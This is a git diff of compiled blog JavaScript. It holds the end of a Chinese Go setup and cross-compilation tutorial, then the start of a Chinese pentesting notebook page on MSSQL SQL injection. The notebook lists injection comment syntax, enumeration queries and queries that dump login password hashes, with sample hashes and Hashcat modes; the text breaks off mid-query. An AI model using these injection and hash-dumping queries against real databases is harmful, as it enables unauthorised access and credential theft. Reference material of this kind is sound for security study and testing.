main\u51fd\u6570\uff0c\u662f\u7a0b\u5e8f\u6267\u884c\u7684\u5165\u53e3\n\tfmt.Println("Hello World!") // \u5728\u7ec8\u7aef\u6253\u5370 Hello World!\n}\n'})}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.strong,{children:"\u975e\u5e38\u91cd\u8981\uff01\uff01\uff01"})," \u5982\u679c\u6b64\u65f6VS Code\u53f3\u4e0b\u89d2\u5f39\u51fa\u63d0\u793a\u8ba9\u4f60\u5b89\u88c5\u63d2\u4ef6\uff0c\u52a1\u5fc5\u70b9 ",(0,l.jsx)(n.strong,{children:"install all"})," \u8fdb\u884c\u5b89\u88c5\u3002"]}),"\n",(0,l.jsxs)(n.p,{children:["\u8fd9\u4e00\u6b65\u9700\u8981\u5148\u6267\u884c\u5b8c\u4e0a\u9762\u63d0\u5230\u7684",(0,l.jsx)(n.code,{children:"go env -w GOPROXY=https://goproxy.cn,direct"}),"\u547d\u4ee4\u914d\u7f6e\u597d",(0,l.jsx)(n.code,{children:"GOPROXY"}),"\u3002"]}),"\n",(0,l.jsx)(n.h3,{id:"\u7f16\u8bd1",children:"\u7f16\u8bd1"}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"go build"}),"\u547d\u4ee4\u8868\u793a\u5c06\u6e90\u4ee3\u7801\u7f16\u8bd1\u6210\u53ef\u6267\u884c\u6587\u4ef6\u3002"]}),"\n",(0,l.jsx)(n.p,{children:"\u5728hello\u76ee\u5f55\u4e0b\u6267\u884c\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-bash",children:"go build\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u7f16\u8bd1\u5f97\u5230\u7684\u53ef\u6267\u884c\u6587\u4ef6\u4f1a\u4fdd\u5b58\u5728\u6267\u884c\u7f16\u8bd1\u547d\u4ee4\u7684\u5f53\u524d\u76ee\u5f55\u4e0b\uff0c\u5982\u679c\u662f",(0,l.jsx)(n.code,{children:"Windows"}),"\u5e73\u53f0\u4f1a\u5728\u5f53\u524d\u76ee\u5f55\u4e0b\u627e\u5230",(0,l.jsx)(n.code,{children:"hello.exe"}),"\u53ef\u6267\u884c\u6587\u4ef6\u3002"]}),"\n",(0,l.jsxs)(n.p,{children:["\u53ef\u5728\u7ec8\u7aef\u76f4\u63a5\u6267\u884c\u8be5",(0,l.jsx)(n.code,{children:"hello.exe"}),"\u6587\u4ef6\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-bash",children:"c:\\desktop\\hello>hello.exe\nHello World!\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u6211\u4eec\u8fd8\u53ef\u4ee5\u4f7f\u7528",(0,l.jsx)(n.code,{children:"-o"}),"\u53c2\u6570\u6765\u6307\u5b9a\u7f16\u8bd1\u540e\u5f97\u5230\u7684\u53ef\u6267\u884c\u6587\u4ef6\u7684\u540d\u5b57\u3002"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-bash",children:"go build -o heiheihei.exe\n"})}),"\n",(0,l.jsx)(n.h3,{id:"windows\u4e0bvscode\u5207\u6362cmdexe\u4f5c\u4e3a\u9ed8\u8ba4\u7ec8\u7aef",children:"Windows\u4e0bVSCode\u5207\u6362cmd.exe\u4f5c\u4e3a\u9ed8\u8ba4\u7ec8\u7aef"}),"\n",(0,l.jsxs)(n.p,{children:["\u5982\u679c\u4f60\u6253\u5f00VS Code\u7684\u7ec8\u7aef\u754c\u9762\u51fa\u73b0\u5982\u4e0b\u56fe\u573a\u666f\uff08\u6ce8\u610f\u89c2\u5bdf\u7ea2\u6846\u5708\u4e2d\u90e8\u5206\uff09\uff0c\u90a3\u4e48\u4f60\u7684",(0,l.jsx)(n.code,{children:"VS Code"}),"\u6b64\u65f6\u6b63\u4f7f\u7528",(0,l.jsx)(n.code,{children:"powershell"}),"\u4f5c\u4e3a\u9ed8\u8ba4\u7ec8\u7aef\uff1a",(0,l.jsx)(n.img,{alt:"vscode shell\u914d\u7f6e1",src:d(83879).A+"",width:"1310",height:"569"}),"\u5341\u5206\u63a8\u8350\u4f60\u6309\u7167\u4e0b\u9762\u7684\u6b65\u9aa4\uff0c\u9009\u62e9",(0,l.jsx)(n.code,{children:"cmd.exe"}),"\u4f5c\u4e3a\u9ed8\u8ba4\u7684\u7ec8\u7aef\u5de5\u5177\uff1a",(0,l.jsx)(n.img,{alt:"vscode shell\u914d\u7f6e2",src:d(64876).A+"",width:"1310",height:"540"}),"\u6b64\u65f6\uff0cVS Code\u6b63\u4e0a\u65b9\u4e2d\u95f4\u4f4d\u7f6e\u4f1a\u5f39\u51fa\u5982\u4e0b\u754c\u9762\uff0c\u53c2\u7167\u4e0b\u56fe\u632a\u52a8\u9f20\u6807\u4f7f\u5149\u6807\u9009\u4e2d\u540e\u7f00\u4e3a",(0,l.jsx)(n.code,{children:"cmd.exe"}),"\u7684\u90a3\u4e00\u4e2a\uff0c\u7136\u540e\u70b9\u51fb\u9f20\u6807\u5de6\u952e\u3002"]}),"\n",(0,l.jsxs)(n.p,{children:["\u6700\u540e",(0,l.jsx)(n.strong,{children:"\u91cd\u542fVS Code\u4e2d\u5df2\u7ecf\u6253\u5f00\u7684\u7ec8\u7aef"}),"\u6216\u8005",(0,l.jsx)(n.strong,{children:"\u76f4\u63a5\u91cd\u542fVS Code"}),"\u5c31\u53ef\u4ee5\u4e86\u3002",(0,l.jsx)(n.img,{alt:"vscode shell\u914d\u7f6e3",src:d(17141).A+"",width:"1310",height:"357"}),"\u5982\u679c\u6ca1\u6709\u51fa\u73b0\u4e0b\u62c9\u4e09\u89d2\uff0c\u4e5f\u6ca1\u6709\u5173\u7cfb\uff0c\u6309\u4e0b",(0,l.jsx)(n.code,{children:"Ctrl+Shift+P"}),"\uff0cVS Code\u6b63\u4e0a\u65b9\u4f1a\u51fa\u73b0\u4e00\u4e2a\u6846\uff0c\u4f60\u6309\u7167\u4e0b\u56fe\u8f93\u5165",(0,l.jsx)(n.code,{children:"shell"}),"\uff0c\u7136\u540e\u70b9\u51fb\u6307\u5b9a\u9009\u9879\u5373\u53ef\u51fa\u73b0\u4e0a\u9762\u7684\u754c\u9762\u4e86\u3002",(0,l.jsx)(n.img,{alt:"vscode shell\u914d\u7f6e4",src:d(77018).A+"",width:"1310",height:"356"})]}),"\n",(0,l.jsx)(n.h3,{id:"go-run",children:"go run"}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"go run main.go"}),"\u4e5f\u53ef\u4ee5\u6267\u884c\u7a0b\u5e8f\uff0c\u8be5\u547d\u4ee4\u672c\u8d28\u4e0a\u662f\u5148\u5728\u4e34\u65f6\u76ee\u5f55\u7f16\u8bd1\u7a0b\u5e8f\u7136\u540e\u518d\u6267\u884c\u3002"]}),"\n",(0,l.jsxs)(n.blockquote,{children:["\n",(0,l.jsxs)(n.p,{children:["\u5982\u679c\u4f60\u4e0d\u6e05\u695a\u4e0a\u65b9\u5173\u4e8e",(0,l.jsx)(n.code,{children:"go run"}),"\u6267\u884c\u673a\u5236\u7684\u63cf\u8ff0\uff0c\u90a3\u4e48\u4f60\u6700\u597d\u4eca\u540e\u90fd\u4f7f\u7528",(0,l.jsx)(n.code,{children:"go build"}),"\u7f16\u8bd1\u518d\u6267\u884c\u3002"]}),"\n"]}),"\n",(0,l.jsx)(n.h3,{id:"go-install",children:"go install"}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"go install"}),"\u8868\u793a\u5b89\u88c5\u7684\u610f\u601d\uff0c\u5b83\u5148\u7f16\u8bd1\u6e90\u4ee3\u7801\u5f97\u5230\u53ef\u6267\u884c\u6587\u4ef6\uff0c\u7136\u540e\u5c06\u53ef\u6267\u884c\u6587\u4ef6\u79fb\u52a8\u5230",(0,l.jsx)(n.code,{children:"GOPATH"}),"\u7684bin\u76ee\u5f55\u4e0b\u3002\u56e0\u4e3a\u6211\u4eec",(0,l.jsxs)(n.strong,{children:["\u628a",(0,l.jsx)(n.code,{children:"GOPATH"}),"\u4e0b\u7684",(0,l.jsx)(n.code,{children:"bin"}),"\u76ee\u5f55\u6dfb\u52a0\u5230\u4e86\u73af\u5883\u53d8\u91cf\u4e2d"]}),"\uff0c\u6240\u4ee5\u6211\u4eec\u5c31\u53ef\u4ee5\u5728\u4efb\u610f\u5730\u65b9\u76f4\u63a5\u6267\u884c\u53ef\u6267\u884c\u6587\u4ef6\u4e86\u3002"]}),"\n",(0,l.jsx)(n.h3,{id:"\u8de8\u5e73\u53f0\u7f16\u8bd1",children:"\u8de8\u5e73\u53f0\u7f16\u8bd1"}),"\n",(0,l.jsxs)(n.p,{children:["\u9ed8\u8ba4\u6211\u4eec",(0,l.jsx)(n.code,{children:"go build"}),"\u7684\u53ef\u6267\u884c\u6587\u4ef6\u90fd\u662f\u5f53\u524d\u64cd\u4f5c\u7cfb\u7edf\u53ef\u6267\u884c\u7684\u6587\u4ef6\uff0cGo\u8bed\u8a00\u652f\u6301\u8de8\u5e73\u53f0\u7f16\u8bd1\u2014\u2014\u5728\u5f53\u524d\u5e73\u53f0\uff08\u4f8b\u5982Windows\uff09\u4e0b\u7f16\u8bd1\u5176\u4ed6\u5e73\u53f0\uff08\u4f8b\u5982Linux\uff09\u7684\u53ef\u6267\u884c\u6587\u4ef6\u3002"]}),"\n",(0,l.jsx)(n.h4,{id:"windows\u7f16\u8bd1linux\u53ef\u6267\u884c\u6587\u4ef6",children:"Windows\u7f16\u8bd1Linux\u53ef\u6267\u884c\u6587\u4ef6"}),"\n",(0,l.jsx)(n.p,{children:"\u5982\u679c\u6211\u60f3\u5728Windows\u4e0b\u7f16\u8bd1\u4e00\u4e2aLinux\u4e0b\u53ef\u6267\u884c\u6587\u4ef6\uff0c\u90a3\u9700\u8981\u600e\u4e48\u505a\u5462\uff1f\u53ea\u9700\u8981\u5728\u7f16\u8bd1\u65f6\u6307\u5b9a\u76ee\u6807\u64cd\u4f5c\u7cfb\u7edf\u7684\u5e73\u53f0\u548c\u5904\u7406\u5668\u67b6\u6784\u5373\u53ef\u3002"}),"\n",(0,l.jsxs)(n.blockquote,{children:["\n",(0,l.jsxs)(n.p,{children:["\u6ce8\u610f\uff1a\u65e0\u8bba\u4f60\u5728Windows\u7535\u8111\u4e0a\u4f7f\u7528VsCode\u7f16\u8f91\u5668\u8fd8\u662fGoland\u7f16\u8f91\u5668\uff0c\u90fd\u8981\u6ce8\u610f\u4f60\u4f7f\u7528\u7684\u7ec8\u7aef\u7c7b\u578b\uff0c\u56e0\u4e3a\u4e0d\u540c\u7684\u7ec8\u7aef\u4e0b\u547d\u4ee4\u4e0d\u4e00\u6837\uff01\uff01\uff01\u76ee\u524d\u7684Windows\u901a\u5e38\u9ed8\u8ba4\u4f7f\u7528\u7684\u662f",(0,l.jsx)(n.code,{children:"PowerShell"}),"\u7ec8\u7aef\u3002"]}),"\n"]}),"\n",(0,l.jsxs)(n.p,{children:["\u5982\u679c\u4f60\u7684",(0,l.jsx)(n.code,{children:"Windows"}),"\u4f7f\u7528\u7684\u662f",(0,l.jsx)(n.code,{children:"cmd"}),"\uff0c\u90a3\u4e48\u6309\u5982\u4e0b\u65b9\u5f0f\u6307\u5b9a\u73af\u5883\u53d8\u91cf\u3002"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-bash",children:"SET CGO_ENABLED=0 // \u7981\u7528CGO\nSET GOOS=linux // \u76ee\u6807\u5e73\u53f0\u662flinux\nSET GOARCH=amd64 // \u76ee\u6807\u5904\u7406\u5668\u67b6\u6784\u662famd64\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u5982\u679c\u4f60\u7684",(0,l.jsx)(n.code,{children:"Windows"}),"\u4f7f\u7528\u7684\u662f",(0,l.jsx)(n.code,{children:"PowerShell"}),"\u7ec8\u7aef\uff0c\u90a3\u4e48\u8bbe\u7f6e\u73af\u5883\u53d8\u91cf\u7684\u8bed\u6cd5\u4e3a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-bash",children:'$ENV:CGO_ENABLED=0\n$ENV:GOOS="linux"\n$ENV:GOARCH="amd64"\n'})}),"\n",(0,l.jsxs)(n.p,{children:["\u5728\u4f60\u7684",(0,l.jsx)(n.code,{children:"Windows"}),"\u7ec8\u7aef\u4e0b\u6267\u884c\u5b8c\u4e0a\u8ff0\u547d\u4ee4\u540e\uff0c\u518d\u6267\u884c\u4e0b\u9762\u7684\u547d\u4ee4\uff0c\u5f97\u5230\u7684\u5c31\u662f\u80fd\u591f\u5728Linux\u5e73\u53f0\u8fd0\u884c\u7684\u53ef\u6267\u884c\u6587\u4ef6\u4e86\u3002"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-bash",children:"go build\n"})}),"\n",(0,l.jsx)(n.h4,{id:"windows\u7f16\u8bd1mac\u53ef\u6267\u884c\u6587\u4ef6",children:"Windows\u7f16\u8bd1Mac\u53ef\u6267\u884c\u6587\u4ef6"}),"\n",(0,l.jsx)(n.p,{children:"Windows\u4e0b\u7f16\u8bd1Mac\u5e73\u53f064\u4f4d\u53ef\u6267\u884c\u7a0b\u5e8f\uff1a"}),"\n",(0,l.jsx)(n.p,{children:"cmd\u7ec8\u7aef\u4e0b\u6267\u884c\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-bash",children:"SET CGO_ENABLED=0\nSET GOOS=darwin\nSET GOARCH=amd64\ngo build\n"})}),"\n",(0,l.jsx)(n.p,{children:"PowerShell\u7ec8\u7aef\u4e0b\u6267\u884c\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-bash",children:'$ENV:CGO_ENABLED=0\n$ENV:GOOS="darwin"\n$ENV:GOARCH="amd64"\ngo build\n'})}),"\n",(0,l.jsx)(n.h4,{id:"mac\u7f16\u8bd1linux\u53ef\u6267\u884c\u6587\u4ef6",children:"Mac\u7f16\u8bd1Linux\u53ef\u6267\u884c\u6587\u4ef6"}),"\n",(0,l.jsx)(n.p,{children:"Mac\u7535\u8111\u7f16\u8bd1\u5f97\u5230Linux\u5e73\u53f064\u4f4d\u53ef\u6267\u884c\u7a0b\u5e8f\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-bash",children:"CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build\n"})}),"\n",(0,l.jsx)(n.h4,{id:"mac\u7f16\u8bd1windows\u53ef\u6267\u884c\u6587\u4ef6",children:"Mac\u7f16\u8bd1Windows\u53ef\u6267\u884c\u6587\u4ef6"}),"\n",(0,l.jsx)(n.p,{children:"Mac\u7535\u8111\u7f16\u8bd1\u5f97\u5230Windows\u5e73\u53f064\u4f4d\u53ef\u6267\u884c\u7a0b\u5e8f\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-bash",children:"CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build\n"})}),"\n",(0,l.jsx)(n.h4,{id:"linux\u7f16\u8bd1mac\u53ef\u6267\u884c\u6587\u4ef6",children:"Linux\u7f16\u8bd1Mac\u53ef\u6267\u884c\u6587\u4ef6"}),"\n",(0,l.jsx)(n.p,{children:"Linux\u5e73\u53f0\u4e0b\u7f16\u8bd1Mac\u5e73\u53f064\u4f4d\u53ef\u6267\u884c\u7a0b\u5e8f\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-bash",children:"CGO_ENABLED=0 GOOS=darwin GOARCH=amd64 go build\n"})}),"\n",(0,l.jsx)(n.h4,{id:"linux\u7f16\u8bd1windows\u53ef\u6267\u884c\u6587\u4ef6",children:"Linux\u7f16\u8bd1Windows\u53ef\u6267\u884c\u6587\u4ef6"}),"\n",(0,l.jsx)(n.p,{children:"Linux\u5e73\u53f0\u4e0b\u7f16\u8bd1Windows\u5e73\u53f064\u4f4d\u53ef\u6267\u884c\u7a0b\u5e8f\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-bash",children:"CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u73b0\u5728\uff0c\u5f00\u542f\u4f60\u7684Go\u8bed\u8a00\u5b66\u4e60\u4e4b\u65c5\u5427\u3002\u4eba\u751f\u82e6\u77ed\uff0clet\u2019s Go."})]})}function x(e={}){const{wrapper:n}={...(0,i.R)(),...e.components};return n?(0,l.jsx)(n,{...e,children:(0,l.jsx)(a,{...e})}):a(e)}},93069:(e,n,d)=>{d.d(n,{A:()=>s});const s=d.p+"assets/images/install05-3422b8319492e3836251bcb93731ab7e.png"}}]); \ No newline at end of file diff --git a/assets/js/6e3e4fba.622e14ee.js b/assets/js/6e3e4fba.622e14ee.js new file mode 100644 index 0000000..d1601df --- /dev/null +++ b/assets/js/6e3e4fba.622e14ee.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4877],{28453:(e,s,n)=>{n.d(s,{R:()=>t,x:()=>a});var l=n(96540);const r={},i=l.createContext(r);function t(e){const s=l.useContext(i);return l.useMemo(function(){return"function"==typeof e?e(s):{...s,...e}},[s,e])}function a(e){let s;return s=e.disableParentContext?"function"==typeof e.components?e.components(r):e.components||r:t(e.components),l.createElement(i.Provider,{value:s},e.children)}},67441:(e,s,n)=>{n.r(s),n.d(s,{assets:()=>c,contentTitle:()=>a,default:()=>h,frontMatter:()=>t,metadata:()=>l,toc:()=>d});const l=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/MSSQL","title":"MSSQL","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165/07.MSSQL.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/MSSQL","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/MSSQL","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165/07.MSSQL.md","tags":[],"version":"current","sidebarPosition":7,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"SQLite","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/SQLite"},"next":{"title":"HQL","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/HQL"}}');var r=n(74848),i=n(28453);const t={},a=void 0,c={},d=[{value:"MSSQL \u9ed8\u8ba4\u6570\u636e\u5e93",id:"mssql-\u9ed8\u8ba4\u6570\u636e\u5e93",level:2},{value:"MSSQL \u6ce8\u91ca",id:"mssql-\u6ce8\u91ca",level:2},{value:"MSSQL \u7528\u6237",id:"mssql-\u7528\u6237",level:2},{value:"MSSQL Version",id:"mssql-version",level:2},{value:"MSSQL \u4e3b\u673a\u540d",id:"mssql-\u4e3b\u673a\u540d",level:2},{value:"MSSQL \u6570\u636e\u5e93\u540d\u79f0",id:"mssql-\u6570\u636e\u5e93\u540d\u79f0",level:2},{value:"MSSQL \u6570\u636e\u5e93\u51ed\u636e",id:"mssql-\u6570\u636e\u5e93\u51ed\u636e",level:2},{value:"MSSQL \u5217\u8868\u6570\u636e\u5e93",id:"mssql-\u5217\u8868\u6570\u636e\u5e93",level:2},{value:"MSSQL \u5217\u8868\u5217",id:"mssql-\u5217\u8868\u5217",level:2},{value:"MSSQL \u5217\u8868\u8868",id:"mssql-\u5217\u8868\u8868",level:2},{value:"\u57fa\u4e8e MSSQL \u8054\u5408",id:"\u57fa\u4e8e-mssql-\u8054\u5408",level:2},{value:"MSSQL \u57fa\u4e8e\u9519\u8bef",id:"mssql-\u57fa\u4e8e\u9519\u8bef",level:2},{value:"MSSQL \u57fa\u4e8e\u76f2\u7684",id:"mssql-\u57fa\u4e8e\u76f2\u7684",level:2},{value:"MSSQL \u57fa\u4e8e\u65f6\u95f4",id:"mssql-\u57fa\u4e8e\u65f6\u95f4",level:2},{value:"MSSQL \u5806\u53e0\u67e5\u8be2",id:"mssql-\u5806\u53e0\u67e5\u8be2",level:2},{value:"MSSQL \u8bfb\u53d6\u6587\u4ef6",id:"mssql-\u8bfb\u53d6\u6587\u4ef6",level:2},{value:"MSSQL \u547d\u4ee4\u6267\u884c",id:"mssql-\u547d\u4ee4\u6267\u884c",level:2},{value:"MSSQL \u5e26\u5916",id:"mssql-\u5e26\u5916",level:2},{value:"MSSQL DNS \u5916\u8fc7\u6ee4",id:"mssql-dns-\u5916\u8fc7\u6ee4",level:3},{value:"MSSQL UNC \u8def\u5f84",id:"mssql-unc-\u8def\u5f84",level:3},{value:"MSSQL \u4f7f\u7528\u6237\u6210\u4e3a DBA\uff08\u6570\u636e\u5e93\u7ba1\u7406\u5458\uff09",id:"mssql-\u4f7f\u7528\u6237\u6210\u4e3a-dba\u6570\u636e\u5e93\u7ba1\u7406\u5458",level:2},{value:"MSSQL \u53d7\u4fe1\u4efb\u7684\u94fe\u63a5",id:"mssql-\u53d7\u4fe1\u4efb\u7684\u94fe\u63a5",level:2},{value:"\u5217\u51fa\u6743\u9650",id:"\u5217\u51fa\u6743\u9650",level:2},{value:"MSSQL \u64cd\u4f5c\u7cfb\u7edf",id:"mssql-\u64cd\u4f5c\u7cfb\u7edf",level:2},{value:"\u53c2\u8003\u6587\u732e",id:"\u53c2\u8003\u6587\u732e",level:2}];function o(e){const s={a:"a",blockquote:"blockquote",code:"code",h2:"h2",h3:"h3",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,i.R)(),...e.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsxs)(s.table,{children:[(0,r.jsx)(s.thead,{children:(0,r.jsxs)(s.tr,{children:[(0,r.jsx)(s.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(s.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(s.tbody,{children:(0,r.jsxs)(s.tr,{children:[(0,r.jsx)(s.td,{style:{textAlign:"left"},children:(0,r.jsx)(s.img,{src:"https://img.shields.io/badge/wjlin0-blog-green",alt:"wjlin0"})}),(0,r.jsx)(s.td,{style:{textAlign:"left"},children:"2023-07-05 21:37:29"})]})})]}),"\n",(0,r.jsx)(s.h2,{id:"mssql-\u9ed8\u8ba4\u6570\u636e\u5e93",children:"MSSQL \u9ed8\u8ba4\u6570\u636e\u5e93"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(s.table,{children:[(0,r.jsx)(s.thead,{children:(0,r.jsxs)(s.tr,{children:[(0,r.jsx)(s.th,{children:"Name"}),(0,r.jsx)(s.th,{children:"\u63cf\u8ff0"})]})}),(0,r.jsxs)(s.tbody,{children:[(0,r.jsxs)(s.tr,{children:[(0,r.jsx)(s.td,{children:"pubs"}),(0,r.jsx)(s.td,{children:"MSSQL 2005 \u4e0a\u4e0d\u53ef\u7528"})]}),(0,r.jsxs)(s.tr,{children:[(0,r.jsx)(s.td,{children:"model"}),(0,r.jsx)(s.td,{children:"\u63d0\u4f9b\u6240\u6709\u7248\u672c"})]}),(0,r.jsxs)(s.tr,{children:[(0,r.jsx)(s.td,{children:"msdb"}),(0,r.jsx)(s.td,{children:"\u63d0\u4f9b\u6240\u6709\u7248\u672c"})]}),(0,r.jsxs)(s.tr,{children:[(0,r.jsx)(s.td,{children:"tempdb"}),(0,r.jsx)(s.td,{children:"\u63d0\u4f9b\u6240\u6709\u7248\u672c"})]}),(0,r.jsxs)(s.tr,{children:[(0,r.jsx)(s.td,{children:"northwind"}),(0,r.jsx)(s.td,{children:"\u63d0\u4f9b\u6240\u6709\u7248\u672c"})]}),(0,r.jsxs)(s.tr,{children:[(0,r.jsx)(s.td,{children:"information_schema"}),(0,r.jsx)(s.td,{children:"MSSQL 2000 \u53ca\u66f4\u9ad8\u7248\u672c\u4e2d\u7684 Availalble"})]})]})]}),"\n",(0,r.jsx)(s.h2,{id:"mssql-\u6ce8\u91ca",children:"MSSQL \u6ce8\u91ca"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(s.table,{children:[(0,r.jsx)(s.thead,{children:(0,r.jsxs)(s.tr,{children:[(0,r.jsx)(s.th,{children:"Type"}),(0,r.jsx)(s.th,{children:"\u63cf\u8ff0"})]})}),(0,r.jsxs)(s.tbody,{children:[(0,r.jsxs)(s.tr,{children:[(0,r.jsx)(s.td,{children:(0,r.jsx)(s.code,{children:"/* MSSQL Comment */"})}),(0,r.jsx)(s.td,{children:"C \u6837\u5f0f\u6ce8\u91ca"})]}),(0,r.jsxs)(s.tr,{children:[(0,r.jsx)(s.td,{children:(0,r.jsx)(s.code,{children:"-- -"})}),(0,r.jsx)(s.td,{children:"SQL \u6ce8\u91ca"})]}),(0,r.jsxs)(s.tr,{children:[(0,r.jsx)(s.td,{children:(0,r.jsx)(s.code,{children:";%00"})}),(0,r.jsx)(s.td,{children:"\u7a7a\u5b57\u8282"})]})]})]}),"\n",(0,r.jsx)(s.h2,{id:"mssql-\u7528\u6237",children:"MSSQL \u7528\u6237"}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-sql",children:"SELECT CURRENT_USER\nSELECT user_name();\nSELECT system_user;\nSELECT user;\n"})}),"\n",(0,r.jsx)(s.h2,{id:"mssql-version",children:"MSSQL Version"}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-sql",children:"SELECT @@version\n"})}),"\n",(0,r.jsx)(s.h2,{id:"mssql-\u4e3b\u673a\u540d",children:"MSSQL \u4e3b\u673a\u540d"}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-sql",children:"SELECT HOST_NAME()\nSELECT @@hostname\nSELECT @@SERVERNAME\nSELECT SERVERPROPERTY('productversion')\nSELECT SERVERPROPERTY('productlevel')\nSELECT SERVERPROPERTY('edition');\n"})}),"\n",(0,r.jsx)(s.h2,{id:"mssql-\u6570\u636e\u5e93\u540d\u79f0",children:"MSSQL \u6570\u636e\u5e93\u540d\u79f0"}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-sql",children:"SELECT DB_NAME()\n"})}),"\n",(0,r.jsx)(s.h2,{id:"mssql-\u6570\u636e\u5e93\u51ed\u636e",children:"MSSQL \u6570\u636e\u5e93\u51ed\u636e"}),"\n",(0,r.jsxs)(s.ul,{children:["\n",(0,r.jsxs)(s.li,{children:["\uff1a\u54c8\u5e0c\u732b\u6a21\u5f0f 131\uff1a ",(0,r.jsx)(s.code,{children:"0x01002702560500000000000000000000000000000000000000008db43dd9b1972a636ad0c7d4b8c515cb8ce46578"}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-sql",children:"SELECT name, password FROM master..sysxlogins\nSELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins \n-- Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer\n"})}),"\n"]}),"\n",(0,r.jsxs)(s.li,{children:["\uff1a\u54c8\u5e0c\u732b\u6a21\u5f0f 132\uff1a ",(0,r.jsx)(s.code,{children:"0x010018102152f8f28c8499d8ef263c53f8be369d799f931b2fbe"}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-sql",children:"SELECT name, password_hash FROM master.sys.sql_logins\nSELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins\n"})}),"\n"]}),"\n"]}),"\n",(0,r.jsx)(s.h2,{id:"mssql-\u5217\u8868\u6570\u636e\u5e93",children:"MSSQL \u5217\u8868\u6570\u636e\u5e93"}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-sql",children:"SELECT name FROM master..sysdatabases;\nSELECT DB_NAME(N); \u2014 for N = 0, 1, 2, \u2026\nSELECT STRING_AGG(name, ', ') FROM master..sysdatabases; -- Change delimeter value such as ', ' to anything else you want => master, tempdb, model, msdb (Only works in MSSQL 2017+)\n"})}),"\n",(0,r.jsx)(s.h2,{id:"mssql-\u5217\u8868\u5217",children:"MSSQL \u5217\u8868\u5217"}),"\n",(0,r.jsx)(s.pre,{children:(0,r.jsx)(s.code,{className:"language-sql",children:"SELECT name FROM syscolumns WHERE id = 